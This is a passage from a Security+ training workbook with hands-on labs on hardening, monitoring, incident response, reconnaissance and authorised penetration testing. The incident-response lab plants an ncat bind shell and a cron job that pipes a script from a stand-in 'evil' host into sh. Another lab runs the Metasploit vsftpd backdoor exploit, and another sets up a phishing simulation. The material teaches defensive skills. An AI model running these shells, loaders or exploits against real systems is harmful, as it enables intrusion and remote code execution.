135. Take the first snapshot

```
restic -r /backup backup /data
```

136. Modify data and take a second snapshot

```
restic -r /backup backup /data
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

137. Simulate ransomware overwriting all files

```
for f in /data/*.txt; do echo "ENCRYPTED_BY_RANSOMWARE" > "$f"; done
```

138. Restore from the pre-ransomware snapshot

```
restic -r /backup restore $SNAP --target /restore
```

139. Verify restored files match the originals

```
diff -r /restore/data /data
```

### Test it

The pre-ransomware snapshot restores the original file contents intact.

**Note:** Full step-by-step commands and references are in labs/lab-20-*.md. Reset the Killercoda playground before the next stateful lab.

## Domain 04 — Security Operations (28%)

Hardening · IAM · MFA · SIEM · IDS · EDR · FIM · Vuln mgmt · IR · SOAR

### Key concepts

- Operational security hardens access (SSH, PAM, sudo, MFA) and monitors continuously (SIEM, IDS, EDR, file-integrity monitoring).
- A SIEM centralises and correlates logs; an IDS inspects network traffic; EDR and osquery interrogate endpoints.
- Vulnerability management is a continuous pipeline: discover, prioritise (CVSS), remediate and verify.
- Incident response follows preparation → detection → containment → eradication → recovery → lessons learned, increasingly automated with SOAR playbooks.

### Lab 21 — SSH Hardening + Fail2ban

Exam objective: Harden SSH to key-only auth and auto-ban brute-force IPs.

Goal: Switch SSH to key-based authentication and let Fail2ban ban repeated failed logins.

### What you'll build

Key-only SSH server with an active brute-force jail. (Tools: openssh-server, fail2ban, ssh-keygen, iptables.)

### Step-by-step


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

140. Install Fail2ban

```
apt update && apt install -y fail2ban
```

141. Generate an ed25519 key pair

```
ssh-keygen -t ed25519 -f ~/.ssh/lab_ed25519 -N "" -C "lab-key"
```

142. Authorize the public key

```
cat ~/.ssh/lab_ed25519.pub >> ~/.ssh/authorized_keys
```

143. Harden sshd (key-only, no root password)

```
cat > /etc/ssh/sshd_config.d/99-hardening.conf <<'EOF'
PermitRootLogin prohibit-password
PasswordAuthentication no
MaxAuthTries 3
EOF
systemctl restart ssh
```

144. Configure an sshd jail

```
cat > /etc/fail2ban/jail.d/sshd.local <<'EOF'
[sshd]
enabled = true
backend = systemd
maxretry = 3
bantime = 1h
EOF
systemctl restart fail2ban
```

145. Trigger a ban with failed logins

```
for i in 1 2 3 4 5; do ssh -o PubkeyAuthentication=no -o
StrictHostKeyChecking=no baduser@127.0.0.1 2>/dev/null; done
```

146. Check the ban status

```
fail2ban-client status sshd
```

147. Unban as admin override


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
fail2ban-client set sshd unbanip 127.0.0.1
```

### Test it

fail2ban-client status sshd lists 127.0.0.1 as banned, and password login is rejected.

**Note:** Full step-by-step commands and references are in labs/lab-21-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 22 — IAM with PAM and sudo

Exam objective: Model RBAC with groups, scope sudo per role, add PAM controls.

Goal: Map Linux groups to roles, restrict sudo per role, and enforce time and lockout policy via PAM.

### What you'll build

Three RBAC roles with scoped sudo, pam_time and pam_faillock. (Tools: sudo, PAM, pam_time, pam_faillock, chage.)

### Step-by-step

148. Create role groups and users

```
groupadd webops; useradd -m -G webops alice
```

149. Scope sudo per role in sudoers.d

```
cat > /etc/sudoers.d/roles <<'EOF'
%webops ALL=(ALL) NOPASSWD: /bin/systemctl restart nginx
EOF
chmod 440 /etc/sudoers.d/roles
```

150. Verify least privilege

```
su - alice -c 'sudo systemctl status nginx 2>&1 | head -2'
```

151. Add a time-of-day restriction

```
echo '*;*;alice;Wd0900-1800' >> /etc/security/time.conf
```

152. Enable pam_time in the login stack

```
grep -q pam_time /etc/pam.d/login || echo 'account required pam_time.so' >>
/etc/pam.d/login
```

153. Configure and enable pam_faillock


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
sed -i '/pam_unix.so/i auth required pam_faillock.so preauth silent'
/etc/pam.d/common-auth
```

154. De-provision (offboard) a user

```
usermod -L alice; chage -E 0 alice; passwd -S alice
```

### Test it

alice can restart nginx but not run mysqldump, and faillock counts failed attempts.

**Note:** Full step-by-step commands and references are in labs/lab-22-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 23 — Multi-Factor Authentication with TOTP

Exam objective: Add a TOTP second factor to SSH via a PAM module.

Goal: Enrol a user with Google Authenticator's PAM module and enforce SSH key plus TOTP.

### What you'll build

SSH requiring publickey and a TOTP one-time code. (Tools: libpam-google-authenticator, qrencode, oathtool, PAM.)

### Step-by-step

155. Install the PAM module and helpers

```
apt update && apt install -y libpam-google-authenticator qrencode
```

156. Enrol a user with a TOTP secret

```
sudo -u mfauser google-authenticator -t -d -f -r 3 -R 30 -W -q -s
/home/mfauser/.google_authenticator
```

157. Display the secret as a QR code

```
qrencode -t ANSI "otpauth://totp/lab:mfauser?secret=$SECRET&issuer=lab"
```

158. Wire the module into SSH PAM

```
echo 'auth required pam_google_authenticator.so' >> /etc/pam.d/sshd
```

159. Require two factors in sshd

```
echo 'AuthenticationMethods publickey,keyboard-interactive' >>
/etc/ssh/sshd_config; systemctl restart ssh
```

160. Generate a code from the CLI


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
apt install -y oathtool && oathtool --totp -b "$SECRET"
```

161. Log in with key + code to verify

### Test it

SSH login succeeds only after both the key and a valid 6-digit TOTP code.

**Note:** Full step-by-step commands and references are in labs/lab-23-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 24 — SIEM Basics with Wazuh

Exam objective: Stand up a single-node SIEM and pivot from an alert to an IP.

Goal: Install Wazuh all-in-one, register an agent, and pivot a brute-force alert to the attacker IP.

### What you'll build

Single-node Wazuh manager, indexer, dashboard and local agent. (Tools: Wazuh manager/indexer/agent, curl, jq, REST API.)

### Step-by-step

162. Download and run the all-in-one installer

```
curl -sO https://packages.wazuh.com/4.9/wazuh-install.sh && bash wazuh-install.sh -a -i
```

163. Confirm core services and ports

```
systemctl status wazuh-manager --no-pager | head -5; ss -tlnp | grep -E '1514|55000|9200'
```

164. Register and install a local agent

```
/var/ossec/bin/manage_agents -a -n local -i 127.0.0.1 -q
```

165. Install the agent package

```
WAZUH_MANAGER='127.0.0.1' dpkg -i wazuh-agent_4.9.0-1_amd64.deb; systemctl enable --now wazuh-agent
```

166. Generate brute-force evidence

```
for i in $(seq 1 10); do ssh -o PubkeyAuthentication=no baduser@127.0.0.1 2>/dev/null; done
```

167. Read the correlated alert


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
grep -E 'rule_id|level' /var/ossec/logs/alerts/alerts.log | tail
```

168. Query alerts via the REST API

```
TOKEN=$(curl -sk -u wazuh-wui:wazuh-wui -X POST
https://localhost:55000/security/user/authenticate | jq -r .data.token)
```

169. Pivot to srcip in the dashboard

### Test it

Rule 5712 (SSHD brute force) at level 10 appears and its srcip is the attacker IP.

**Note:** Full step-by-step commands and references are in labs/lab-24-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 25 — Network IDS with Suricata

Exam objective: Run Suricata IDS, load rules, and write a custom signature.

Goal: Run Suricata in IDS mode with ET Open rules, trigger a known alert, then add a custom rule.

### What you'll build

Suricata IDS logging alerts to eve.json with a custom rule. (Tools: suricata, suricata-update, jq, curl.)

### Step-by-step

170. Install Suricata and rules

```
apt update && apt install -y suricata jq && suricata-update
```

171. Identify the live interface

```
IFACE=$(ip route | awk '/default/ {print $5; exit}'); echo $IFACE
```

172. Run Suricata in IDS mode

```
suricata -i $IFACE -l /var/log/suricata --runmode workers -D
```

173. Trigger a known signature

```
curl -s --user-agent "test" "http://testmynids.org/uid/index.html"
```

174. Read the alert from eve.json

```
jq -c 'select(.event_type=="alert") | {sig:.alert.signature,
src:.src_ip}' /var/log/suricata/eve.json | tail
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

175. Write and include a custom rule

```
cat > /etc/suricata/rules/lab.rules <<'EOF'

alert http any any -> any any (msg:"LAB curl UA"; http.user_agent;
content:"curl/"; sid:9000002; rev:1;)

EOF
```

176. Reload rules and trigger it

```
suricatasc -c reload-rules; curl -s "http://example.com/?id=1" >/dev/null
```

### Test it

eve.json shows the ET Open alert and the custom sid 9000002 firing on the curl request.

**Note:** Full step-by-step commands and references are in labs/lab-25-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 26 — Endpoint Detection with osquery

Exam objective: Query the host with SQL and schedule detections.

Goal: Install osquery, ask SQL questions of the live host, and schedule high-signal detections.

### What you'll build

osquery interactive shell plus a scheduled osqueryd detection pack. (Tools: osquery, osqueryi, osqueryd, SQL.)

### Step-by-step

177. Add the repo and install osquery

```
curl -fsSL https://pkg.osquery.io/deb/pubkey.gpg | gpg --dearmor -o
/usr/share/keyrings/osquery.gpg
```

178. Install the package

```
echo 'deb [arch=amd64 signed-by=/usr/share/keyrings/osquery.gpg]
https://pkg.osquery.io/deb deb main' > /etc/apt/sources.list.d/osquery.list
&& apt update && apt install -y osquery
```

179. Run interactive SQL queries

```
osqueryi --json "SELECT * FROM listening_ports WHERE address = '0.0.0.0';"
```

180. Detect a fileless process


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
cp /bin/sleep /tmp/.evil; /tmp/.evil 600 & rm /tmp/.evil; osqueryi --json
"SELECT name, pid FROM processes WHERE on_disk = 0;"
```

181. Detect SUID binaries

```
osqueryi --json "SELECT path, mode FROM file WHERE path LIKE '/usr/bin/%'
AND mode LIKE '%4%' LIMIT 10;"
```

182. Schedule queries with osqueryd

```
cat > /etc/osquery/osquery.conf <<'EOF'

{ "schedule": { "fileless_proc": { "query": "SELECT name, pid FROM
processes WHERE on_disk = 0;", "interval": 60 } } }

EOF

systemctl enable --now osqueryd
```

183. Read the JSON results

```
tail -3 /var/log/osquery/osqueryd.results.log
```

### Test it

osqueryd writes JSON results and the on_disk=0 query surfaces the deleted-binary process.

**Note:** Full step-by-step commands and references are in labs/lab-26-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 27 — File Integrity Monitoring with AIDE

Exam objective: Baseline critical files and detect tampering.

Goal: Baseline critical files with AIDE, tamper one, and watch the integrity diff report.

### What you'll build

AIDE baseline database with a daily integrity check. (Tools: aide, aideinit, cron, logger.)

### Step-by-step

184. Install AIDE

```
apt update && apt install -y aide
```

185. Define custom check groups and scope

```
cat > /etc/aide/aide.conf.d/99_lab <<'EOF'

LAB_NORMAL = p+i+n+u+g+s+m+c+sha256
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
/etc/passwd LAB_NORMAL

/etc/sudoers LAB_NORMAL

EOF
```

186. Initialise the baseline

```
aideinit -y -f && mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
```

187. Run a clean check

```
aide --check | head -10
```

188. Tamper and re-check

```
echo '# tampered' >> /etc/sudoers; useradd -m attacker; aide --check 2>&1 |
head -25
```

189. Roll the baseline forward

```
aide --update -B 'database_new=file:/var/lib/aide/aide.db.new' && mv
/var/lib/aide/aide.db.new /var/lib/aide/aide.db
```

190. Schedule a daily check to syslog

```
cat > /etc/cron.daily/aide-check <<'EOF'

#!/bin/sh

/usr/bin/aide --check | logger -t aide

EOF

chmod +x /etc/cron.daily/aide-check
```

### Test it

After tampering, aide --check reports the changed sudoers and new user; a clean baseline reports none.

**Note:** Full step-by-step commands and references are in labs/lab-27-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 28 — Vulnerability Management with Trivy

Exam objective: Scan OS, filesystem, and image and prioritise by CVSS.

Goal: Scan an OS, filesystem, and container image with Trivy and export a CVSS-sorted report.

### What you'll build


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Trivy scanning pipeline producing a prioritised remediation queue. (Tools: trivy, jq, docker.io.)

### Step-by-step

191. Add the Trivy repo and install

```
wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | gpg
--dearmor > /usr/share/keyrings/trivy.gpg
```

192. Register the generic repo

```
echo 'deb [signed-by=/usr/share/keyrings/trivy.gpg]
https://aquasecurity.github.io/trivy-repo/deb generic main' >
/etc/apt/sources.list.d/trivy.list && apt update && apt install -y trivy
```

193. Scan the running OS

```
trivy rootfs --scanners vuln --severity HIGH,CRITICAL / 2>/dev/null | tail
-40
```

194. Export findings to JSON

```
trivy rootfs --severity HIGH,CRITICAL --format json -o trivy.json /
```

195. Scan a container image

```
docker pull node:14-alpine && trivy image --severity HIGH,CRITICAL node:14-
alpine | head -30
```

196. Build a CVSS-sorted patch queue

```
trivy image --format json node:14-alpine | jq -r
'.Results[].Vulnerabilities[]? | [.VulnerabilityID, .Severity,
(.CVSS.nvd.V3Score // 0)] | @tsv' | sort -k3,3 -nr | head -10
```

197. Scan for hardcoded secrets

```
trivy fs --scanners secret src/
```

### Test it

Trivy lists HIGH/CRITICAL CVEs, produces a CVSS-sorted top-10, and flags the planted AWS secret.

**Note:** Full step-by-step commands and references are in labs/lab-28-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 29 — Incident Response and Forensics

Exam objective: Walk the NIST IR phases with chain-of-custody hashing.


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Goal: Simulate a compromise then work the NIST IR phases, preserving evidence with SHA-256 hashes.

## What you'll build

A full triage-to-report incident workflow on a simulated compromise. (Tools: ncat, ss, ps, crontab, sha256sum, iptables.)

## Step-by-step

198. Prepare an evidence drop

```
mkdir -p /evidence/$(date +%Y%m%d) && cd /evidence/$(date +%Y%m%d)
```

199. Plant the compromise

```
apt-get install -y ncat; nohup ncat -lk 4444 -e /bin/bash & echo '* * * * *
curl -s http://evil/loader.sh | sh' | crontab -u attacker -
```

200. Detect indicators of compromise

```
ss -tlnp | grep 4444; ps -ef | grep -E 'ncat|bash' | head
```

201. Collect volatile evidence and hash it

```
ps auxf > ps.txt; ss -tnp > sockets.txt; sha256sum *.txt *.log >
evidence.sha256
```

202. Contain the incident

```
iptables -I INPUT -p tcp --dport 4444 -j DROP; usermod -L attacker; pkill
-u attacker
```

203. Eradicate the threat

```
crontab -u attacker -r; pkill ncat; userdel -rf attacker
```

204. Validate recovery

```
ss -tlnp | grep 4444 || echo 'no backdoor listener'
```

205. Generate the incident report

```
cat > report.md <<EOF

# Incident report

EOF

sha256sum report.md
```

## Test it


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

The listener/user/cron are gone at recovery and evidence.sha256 re-verifies with no tampering.

**Note:** Full step-by-step commands and references are in labs/lab-29-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 30 — Automation and Orchestration (Mini-SOAR)

Exam objective: Automate detect-decide-act-record for SSH brute force.

Goal: Write a bash SOAR playbook that watches auth.log, auto-bans IPs, opens tickets, and logs.

### What you'll build

A systemd-managed mini-SOAR service auto-banning brute-force IPs. (Tools: bash, awk, iptables, systemd, logger, inotify-tools.)

### Step-by-step

206. Install inotify-tools

```
apt update && apt install -y inotify-tools
```

207. Write the SOAR playbook

```
cat > /usr/local/bin/soar.sh <<'EOF'
#!/bin/bash
tail -F /var/log/auth.log | while read -r line; do ...; done
EOF
chmod +x /usr/local/bin/soar.sh
```

208. Install it as a systemd unit

```
cat > /etc/systemd/system/soar.service <<'EOF'
[Service]
ExecStart=/usr/local/bin/soar.sh
Restart=always
EOF
```

209. Enable the service

```
systemctl daemon-reload && systemctl enable --now soar.service
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

210. Trigger brute-force traffic

```
for i in $(seq 1 6); do ssh -o PubkeyAuthentication=no bad@127.0.0.1
2>/dev/null; done
```

211. Observe tickets, bans, and logs

```
ls /var/tickets/; iptables -L INPUT -n | head; journalctl -t soar -n 5 --
no-pager
```

212. Add an API escalation hook

```
curl -X POST https://hooks.slack.com/services/... -d '...'
```

### Test it

A ticket JSON is created, the source IP is DROPped in iptables, and a soar syslog entry appears.

**Note:** Full step-by-step commands and references are in labs/lab-30-*.md. Reset the Killercoda playground before the next stateful lab.

## Domain 05 — Security Program Management & Oversight (20%)

Risk & CVSS · OSINT · Nmap · Pentesting · Compliance · Awareness

### Key concepts

- Risk management records threats in a register, scores them (CVSS, likelihood × impact) and drives treatment decisions.
- Reconnaissance — passive OSINT and active scanning with Nmap — maps an organisation's exposure the way an attacker would.
- Penetration testing safely validates exploitability; every engagement needs authorisation and Rules of Engagement.
- Governance proves control effectiveness through compliance auditing (OpenSCAP/CIS) and measurable security-awareness testing.

### Lab 31 — Risk Register, CVSS Scoring, and Quantitative Risk

Exam objective: Build a risk register and score with CVSS.

Goal: Build a CSV risk register, score findings with CVSS v3.1, and calculate ALE to justify control spend.

### What you'll build

CSV risk register with CVSS and ALE math (Tools: python3, FIRST.org CVSS calculator, column, bash.)


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

### Step-by-step

213. Create and view the CSV risk register

```
column -t -s, risk-register.csv
```

214. Score R-001 on the FIRST.org CVSS v3.1 calculator

```
https://www.first.org/cvss/calculator/3.1
```

215. Compute SLE and ALE in Python

```
python3 -c "print(200000*0.6*0.5)"
```

216. Choose a risk treatment (mitigate vs accept)
217. Add Key Risk Indicators to a CSV

```
column -t -s, kri.csv
```

218. Generate the one-page board risk report

```
cat board-report.md
```

### Test it

The Python output shows ALE 60,000/year and board-report.md lists 4 open risks.

**Note:** Full step-by-step commands and references are in labs/lab-31-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 32 — Passive Reconnaissance / OSINT

Exam objective: Collect a domain footprint using only passive tools.

Goal: Gather a domain's public footprint with passive OSINT tools that never send packets to the target.

### What you'll build

Passive recon report of an authorised domain (Tools: whois, dnsutils, theHarvester, subfinder, jq, crt.sh.)

### Step-by-step

219. Install theHarvester and subfinder

```
pip3 install --break-system-packages
git+https://github.com/laramies/theHarvester.git
```

220. Set the authorised target domain


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
TARGET=example.com
```

221. Query WHOIS registrant and dates

```
whois $TARGET | grep -Ei "registrar|registrant|expiry|name server" | head
```

222. Enumerate DNS records (MX, TXT, NS)

```
dig +short MX $TARGET
```

223. Discover subdomains passively with subfinder

```
subfinder -silent -d $TARGET | tee subs.txt
```

224. Harvest emails and hosts

```
theHarvester -d $TARGET -b crtsh,duckduckgo,bing 2>/dev/null | tail -30
```

225. Pull certificate transparency records

```
curl -s "https://crt.sh/?q=%25.$TARGET&output=json" | jq -r '.
[].name_value' | sort -u | head -20
```

226. Build the recon report

```
cat recon-$TARGET.md
```

### Test it

recon-example.com.md lists the subdomain count plus DMARC and SPF records.

**Note:** Full step-by-step commands and references are in labs/lab-32-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 33 — Active Reconnaissance with Nmap

Exam objective: Fingerprint a host with Nmap scans and NSE scripts.

Goal: Fingerprint a local host with Nmap host discovery, version detection, OS detection, and NSE scripts.

### What you'll build

Nmap scan of local nginx and SSH targets (Tools: nmap, nginx, openssh-server.)

### Step-by-step

227. Install nmap and start nginx + ssh targets

```
apt install -y nmap nginx openssh-server
```

228. Discover live hosts with a ping scan


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
nmap -sn 127.0.0.0/30
```

229. Run a TCP SYN half-open scan

```
nmap -sS -p 1-1024 127.0.0.1
```

230. Detect service versions

```
nmap -sV -p 22,80 127.0.0.1
```

231. Fingerprint the OS

```
nmap -O 127.0.0.1
```

232. Run NSE discovery scripts

```
nmap --script=banner,http-headers,ssh2-enum-algos -p 22,80 127.0.0.1
```

233. Run vulnerability NSE scripts

```
nmap --script=vuln -p 80 127.0.0.1
```

234. Save results in three report formats

```
nmap -sV -oA scan-127 127.0.0.1
```

### Test it

nmap -sV reports nginx on port 80 and OpenSSH on port 22, and scan-127.xml is written.

**Note:** Full step-by-step commands and references are in labs/lab-33-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 34 — Penetration Testing with Metasploit (Authorised Lab)

Exam objective: Exploit a vulnerable target and write the report.

Goal: Exploit a deliberately vulnerable vsftpd service with Metasploit, prove compromise, then write the report.

### What you'll build

Metasploit exploit of a lab FTP container (Tools: metasploit-framework, docker.io, nmap.)

### Step-by-step

235. Install Metasploit via the Rapid7 installer script


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
curl -sSL
https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/
templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall
```

236. Stand up the vulnerable FTP target in Docker

```
docker run -d --name vuln -p 2121:21 --rm tleemcjr/metasploitable2
/bin/bash -c "service vsftpd start && sleep infinity"
```

237. Recon the target service banner

```
nmap -sV -p 2121 127.0.0.1
```

238. Search Metasploit for matching modules

```
msfconsole -q -x "search vsftpd; exit"
```

239. Run the vsftpd backdoor exploit

```
msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS
127.0.0.1; set RPORT 2121; exploit -z; exit"
```

240. Collect post-exploitation proof (id, uname)

```
sessions -i 1 -c 'id; uname -a; whoami; hostname'
```

241. Clean up the target container

```
docker rm -f vuln
```

242. Write the engagement report

```
cat pentest-report.md
```

### Test it

A command session opens and `id` returns uid=0(root) from the target container.

**Note:** Full step-by-step commands and references are in labs/lab-34-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 35 — Compliance Audit with OpenSCAP

Exam objective: Scan a host against a CIS profile and remediate.

Goal: Audit an Ubuntu host against a CIS profile with OpenSCAP, produce the HTML report, and remediate a control.

### What you'll build


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

OpenSCAP CIS compliance scan and report (Tools: openscap-scanner/libopenscap8, ssg-base, ssg-debderived.)

### Step-by-step

243. Install the SSG content and OpenSCAP scanner

```
apt install -y openscap-scanner || apt install -y libopenscap8
```

244. Select the Ubuntu SCAP datastream

```
DS=$(ls /usr/share/xml/scap/ssg/content/ssg-ubuntu*-ds.xml | head -1)
```

245. List available compliance profiles

```
oscap info $DS | grep -A1 Profile | head -20
```

246. Run the CIS Level 1 audit

```
oscap xccdf eval --profile
xccdf_org.ssgproject.content_profile_cis_level1_server --results-arf
arf.xml --report report.html $DS
```

247. Generate the auto-remediation script

```
oscap xccdf generate fix --profile
xccdf_org.ssgproject.content_profile_cis_level1_server --output
remediate.sh $DS
```

248. Apply one fix and re-check the rule

```
oscap xccdf eval --rule
xccdf_org.ssgproject.content_rule_package_telnet_removed $DS
```

### Test it

report.html shows pass/fail per control and the score rises after remediation.

**Note:** Full step-by-step commands and references are in labs/lab-35-*.md. Reset the Killercoda playground before the next stateful lab.

## Lab 36 — Security Awareness: Run a Phishing Simulation with GoPhish

Exam objective: Operate a phishing simulation end-to-end with metrics.

Goal: Run a controlled phishing simulation with GoPhish and a MailHog sink, tracking click and open metrics.

### What you'll build


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

GoPhish campaign with a MailHog SMTP sink (Tools: gophish, docker.io, mailhog, curl, unzip.)

### Step-by-step

249. Download and unzip the GoPhish binary

```
curl -LO
https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-
v0.12.1-linux-64bit.zip
```

250. Bind the admin UI to all interfaces

```
sed -i 's/127.0.0.1:3333/0.0.0.0:3333/' config.json
```

251. Start GoPhish and note the admin password

```
./gophish 2>&1 | grep -E "admin|password" | head -3
```

252. Spin up the MailHog SMTP sink

```
docker run -d -p 1025:1025 -p 8025:8025 mailhog/mailhog
```

253. Configure the four GoPhish primitives in the UI
254. Launch the campaign and watch the dashboard
255. Map click rates to training actions

### Test it

The campaign dashboard tracks sent/opened/clicked and test emails appear in MailHog.

**Note:** Full step-by-step commands and references are in labs/lab-36-*.md. Reset the Killercoda playground before the next stateful lab.

## Exam Preparation

- First pass: do every lab in Killercoda, reading the References in each lab file.
- Second pass: redo the labs from memory until the commands and concepts are automatic.
- Review the 'Test it' check and the 'What you learned' notes for any topic you find hard.
- Memorise the control categories/types, the CIA triad and AAA, and the CVSS base metrics.
- Take the Tertiary Infotech Security+ practice exam: https://exams.tertiaryinfotech.com/practice-exams/comptia/comptia-security-plus
- The SY0-701 exam is up to 90 questions in 90 minutes; the passing score is 750/900. Book it through Pearson VUE.


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

## Glossary

- **Security control —** A safeguard classed by category (technical, managerial, operational, physical) and type (preventive, deterrent, detective, corrective, compensating, directive).
- **CIA triad —** Confidentiality, Integrity, Availability — the three goals of information security.
- **AAA —** Authentication (who you are), Authorization (what you may do), Accounting (what you did).
- **Hashing —** A one-way function (e.g. SHA-256) that proves integrity; salting defeats rainbow tables.
- **Symmetric encryption —** One shared secret key encrypts and decrypts (e.g. AES) — fast for bulk data.
- **Asymmetric encryption —** A public/private key pair (e.g. RSA) that solves key exchange and enables signatures.
- **PKI —** Public Key Infrastructure — certificate authorities bind public keys to verified identities.
- **SPF / DKIM / DMARC —** Email authentication standards that expose spoofed and phishing mail.
- **SQL injection (SQLi) —** Injecting SQL through unvalidated input; mitigated by parameterised queries.
- **Cross-site scripting (XSS) —** Injecting script into a page; mitigated by output encoding and CSP.
- **WAF —** Web Application Firewall — filters malicious HTTP requests (e.g. ModSecurity + OWASP CRS).
- **SIEM —** Security Information and Event Management — centralises and correlates logs and raises alerts.
- **IDS —** Intrusion Detection System — inspects network traffic against signatures (e.g. Suricata).
- **EDR —** Endpoint Detection and Response — interrogates endpoint state and activity (e.g. osquery).
- **FIM —** File Integrity Monitoring — detects unauthorised file changes (e.g. AIDE).
- **CVSS —** Common Vulnerability Scoring System — a 0–10 severity score for a vulnerability.
- **Penetration test —** An authorised, scoped simulated attack that validates real exploitability.


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg